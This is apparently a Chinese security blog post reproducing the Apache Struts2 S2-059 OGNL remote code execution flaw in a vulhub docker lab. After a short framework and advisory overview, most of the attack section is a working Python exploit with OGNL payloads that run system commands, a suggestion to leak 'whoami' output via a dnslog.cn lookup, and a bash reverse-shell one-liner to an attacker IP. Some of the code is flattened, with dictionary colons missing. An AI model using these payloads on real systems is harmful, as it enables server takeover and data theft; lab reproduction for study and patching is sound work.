Apache Struts2-059

华盟原创文章投稿奖励计划

文章来源: Admin Team

s2-059

Struts2介绍

是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。

st2-059介绍

2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。

漏洞复现

vulunmb拉环境

vulhub/Struts2/s2-059 docker-compose up -d  //启动漏洞环境Apache Struts2-059

图1. docker启动漏洞环境Apache Struts2-059图2. s2-059漏洞环境

EXP地址:https://vulhub.org/#/environments/Struts2/s2-059/ 官网给的exp是没有回显的

import requests
url = "http://127.0.0.1:8080" data1 = {
    "id""%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" }
data2 = {
    "id""%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}" }
res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text) 

可以进行修改 修改为ping xxx.dnslog.cn 这个可以直接执行坑点 由于是java的需要进行编码 将其名带外输出

whoami.koeep8.dnslog.cn 在线编码:http://www.jackson-t.ca/runtime-exec-payloads.htmlApache Struts2-059

图3. base64编码截图

Apache Struts2-059攻击测试Apache Struts2-059

反弹shell


bash -i >& /dev/tcp/Your ip/Your port 0>&1

Apache Struts2-059base编码随后替换Apache Struts2-059图3. 反弹shell成功

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/277043.html

发表评论